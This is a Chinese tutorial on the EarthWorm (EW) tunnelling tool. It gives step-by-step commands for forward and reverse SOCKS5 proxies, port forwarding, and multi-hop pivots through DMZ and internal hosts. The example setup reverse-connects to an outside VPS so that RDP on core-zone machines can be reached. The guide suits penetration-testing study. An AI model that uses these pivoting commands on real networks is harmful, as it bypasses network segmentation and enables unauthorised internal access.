EW使用教程

最近在复习内网的知识。在看原书的域信息收集及内网隧道部分时,发现原书写的内容那叫一个随心所欲,毫无逻辑可言。EarthWorm(EW)工具也是,啥啥不介绍,只会用一堆车轱辘话去描述实现的效果。麻了。所以,这里简单整理一版 EW 工具的使用方法。

一、参数与模式

EarthWorm(EW)工具的常用参数及模式一定要先读懂是在干嘛。

常用参数(重要):

-s    模式
-l    本地监听端口
-d    连接到的远程 IP
-e    连接到的远程端口/等待反连端口
-f    最终目标 IP
-g    最终目标端口

常用模式(重要):

lcx_tran     本地端口转发
lcx_listen   反向端口转发监听端
lcx_slave    反向端口转发连接端
ssocksd      正向 SOCKS5
rcsocks      反向 SOCKS 接收端
rssocks      反向 SOCKS 连接端

二、常规网络架构

image-20260502182649942

VPS:1.1.1.1

主机 A1:100.0.0.1  DMZ区(可双向互联网访问)
主机 A2:100.0.0.2  DMZ区(互联网不可直接访问,但可主动访问互联网)

主机 B:10.0.10.1   内网区
主机 C:10.0.20.1   核心区

(1)互联网可完全访问 A1,互联网不可直接访问 A2,A2 可主动访问互联网
(2)A1 可以完全访问 A2,A1 不能直接访问 B
(3)A2 可以完全访问 B,A2 不能直接访问 C
(4)B 可以完全访问 C

(1)A1:公网可达跳板,用来讲正向能力
(2)A2:公网不可达但可出网跳板,用来讲反向能力
(3)B:内网一级跳板,用来讲中继
(4)C:更深层目标区,用来讲跨网段访问

(1)本地端口映射
    A1 -> A2
(2)正向 SOCKS
    客户端 -> A1 -> A1 可达范围
(3)反向端口映射
    客户端 -> VPS -> A2 -> B:单个服务
(4)反向 SOCKS
    客户端 -> VPS -> A2 -> B 所在内网区
(5)中继端口映射
    客户端 -> VPS -> A2 -> B -> C:单个服务
(6)中继 SOCKS
    客户端 -> VPS -> A2 -> B -> C 所在核心区

1、本地端口映射

场景:互联网无法直接访问主机 A2,但主机 A1 可以访问 A2:3389。在主机 A1 上,把本地的 13389 转发到 A2 的 3389。

主机 A1 执行:
./ew -s lcx_tran -l 13389 -f 100.0.0.2 -g 3389

连接:mstsc /v:127.0.0.1:13389

链路:127.0.0.1:13389 -> 100.0.0.2:3389

说明:该选项主要用于本地程序只能连 127.0.0.1、端口统一映射、或链路测试。A1 本机可以通过 127.0.0.1:13389 访问 A2:3389。

说明:如果 A1 的 13389 端口对其他机器可达,则其他机器也可以通过 100.0.0.1:13389 访问 A2:3389。如果不可达,则可采用反向端口转发的方式(更常见)达到访问需求。

连接:mstsc /v:100.0.0.1:13389

链路:100.0.0.1:13389 -> 100.0.0.2:3389

2、正向 SOCKS 代理

场景:互联网可以直接访问主机 A1,想让 A1 开 SOCKS5 代理服务。

主机 A1 执行:
./ew -s ssocksd -l 1080

连接:SOCKS5:100.0.0.1:1080

链路:客户端 -> A1:1080(SOCKS5) -> A1 网络可达范围内的资源。

说明:正向 SOCKS 的入口和出口都在 A1。在当前拓扑中,A1 可以访问 A2,但 A1 不能访问 B。因此该代理主要用于访问 A1 可达范围内的资源,例如 A2。

3、反向端口映射

场景:互联网无法直接访问内网区主机 B:3389,但主机 A2 可以访问 B:3389,且 A2 可以主动连接 VPS。

目标:通过 VPS:13389,使用 A2 作为中继节点,访问 B:3389 这类单个服务。

VPS 执行:
./ew -s lcx_listen -l 13389 -e 8888

主机 A2 执行:
./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 10.0.10.1 -g 3389

连接:mstsc /v:1.1.1.1:13389

链路:客户端 -> 1.1.1.1:13389 -> A2 -> 10.0.10.1:3389。

说明:反向端口映射,适合访问一个明确的目标服务。这里 A2 是反连 VPS 的中继节点,真正访问 B:3389 的也是 A2。

4、反向 SOCKS 代理

场景:互联网无法直接访问主机 A2,但主机 A2 可以主动连接 VPS,且 A2 可以访问 B 所在内网区。

目标:通过 VPS:1080,使用 A2 作为 SOCKS5 代理,访问 B 所在内网区。

VPS 执行:
./ew -s rcsocks -l 1080 -e 8888

主机 A2 执行:
./ew -s rssocks -d 1.1.1.1 -e 8888

连接:SOCKS5:1.1.1.1:1080

链路:客户端 -> VPS:1080(SOCKS5) -> A2 -> B 所在内网区

说明:反向 SOCKS 代理,适合访问多个服务或其网络可达范围内的多个目标。这里 SOCKS 入口在 VPS,真正访问目标资源的是 A2。在当前拓扑中,A2 可以访问 B 所在内网区,但 A2 不能直接访问核心区主机 C。

5、中继端口映射

场景:A2 不能直接访问 C:3389,但 A2 可以访问 B,B 可以访问 C:3389。

目标:通过 VPS:13389,经由 A2 -> B,访问 C:3389。

主机 B 执行:
./ew -s lcx_tran -l 23389 -f 10.0.20.1 -g 3389

VPS 执行:
./ew -s lcx_listen -l 13389 -e 8888

主机 A2 执行:
./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 10.0.10.1 -g 23389

连接:mstsc /v:1.1.1.1:13389

链路:客户端 -> 1.1.1.1:13389 -> A2 -> B:23389 -> C:3389

说明:B 是中继节点。B 负责把 B:23389 转发到 C:3389;A2 负责把 VPS 的反向链路接到 B:23389。该方式适合访问更深层网络中的单个服务。

6、中继 SOCKS 代理

场景:A2 不能直接访问 C 所在核心区,但 A2 可以访问 B,B 可以访问 C 所在核心区。

目标:通过 VPS:1080,经由 A2 -> B,使用 B 作为 SOCKS5 代理,访问 C 所在核心区。

主机 B 执行:
./ew -s ssocksd -l 9999

VPS 执行:
./ew -s lcx_listen -l 1080 -e 8888

主机 A2 执行:
./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 10.0.10.1 -g 9999

连接:SOCKS5:1.1.1.1:1080

链路:客户端 -> VPS:1080(SOCKS5) -> A2 -> B:9999(SOCKS5) -> C 所在核心区

说明:B 是真正访问核心区资源的 SOCKS5 出口。A2 只负责把 VPS 的流量转发到 B 的 SOCKS5 服务。该方式适合访问更深层网络中的多个服务或多个目标。

三、多级网络架构

image-20260502182612522

VPS:1.1.1.1

主机 A1:100.0.0.1  DMZ区(可双向互联网访问)
主机 A2:100.0.0.2  DMZ区(互联网不可直接访问,但可主动访问互联网)

主机 B:10.0.10.1   内网区
主机 C:10.0.20.1   中间区
主机 D:10.0.30.1   核心区


(1)互联网可完全访问 A1,互联网不可直接访问 A2,A2 可主动访问互联网
(2)A1 可以完全访问 A2,A1 不能直接访问 B
(3)A2 可以完全访问 B,A2 不能直接访问 C
(4)B 可以完全访问 C,B 不能直接访问 D
(5)C 可以完全访问 D

(1)A1:公网可达跳板
(2)A2:公网不可达但可出网跳板
(3)B:内网区一级跳板
(4)C:中间区二级跳板
(5)D:核心区目标区域

(1)多级端口映射
    客户端 -> VPS -> A2 -> B -> C -> D:单个服务
(2)多级 SOCKS
    客户端 -> VPS -> A2 -> B -> C -> D 所在核心区

1、多级端口映射

场景:A2 不能直接访问 D:3389,B 不能直接访问 D:3389,但 A2 可以访问 B,B 可以访问 C,C 可以访问 D:3389。

目标:通过 VPS:13389,经由 A2 -> B -> C,访问 D:3389。

主机 C 执行:
./ew -s lcx_tran -l 33389 -f 10.0.30.1 -g 3389

主机 B 执行:
./ew -s lcx_tran -l 23389 -f 10.0.20.1 -g 33389

VPS 执行:
./ew -s lcx_listen -l 13389 -e 8888

主机 A2 执行:
./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 10.0.10.1 -g 23389

连接:mstsc /v:1.1.1.1:13389

链路:客户端 -> 1.1.1.1:13389 -> A2 -> B:23389 -> C:33389 -> D:3389

说明:C 负责把 C:33389 转发到 D:3389;B 负责把 B:23389 转发到 C:33389;A2 负责把 VPS 的反向链路接到 B:23389。该方式适合访问多级内网中的单个服务。

2、多级 SOCKS 代理

场景:A2 不能直接访问 D 所在核心区,B 不能直接访问 D 所在核心区,但 A2 可以访问 B,B 可以访问 C,C 可以访问 D 所在核心区。

目标:通过 VPS:1080,经由 A2 -> B -> C,使用 C 作为 SOCKS5 代理,访问 D 所在核心区。

主机 C 执行:
./ew -s ssocksd -l 9999

主机 B 执行:
./ew -s lcx_tran -l 7777 -f 10.0.20.1 -g 9999

VPS 执行:
./ew -s lcx_listen -l 1080 -e 8888

主机 A2 执行:
./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 10.0.10.1 -g 7777

连接:SOCKS5:1.1.1.1:1080

链路:客户端 -> VPS:1080(SOCKS5) -> A2 -> B:7777 -> C:9999(SOCKS5) -> D 所在核心区

说明:C 是真正访问核心区资源的 SOCKS5 出口。B 负责把 B:7777 转发到 C:9999;A2 只负责把 VPS 的流量转发到 B:7777。该方式适合访问多级内网中的多个服务或多个目标。

updatedupdated2026-05-022026-05-02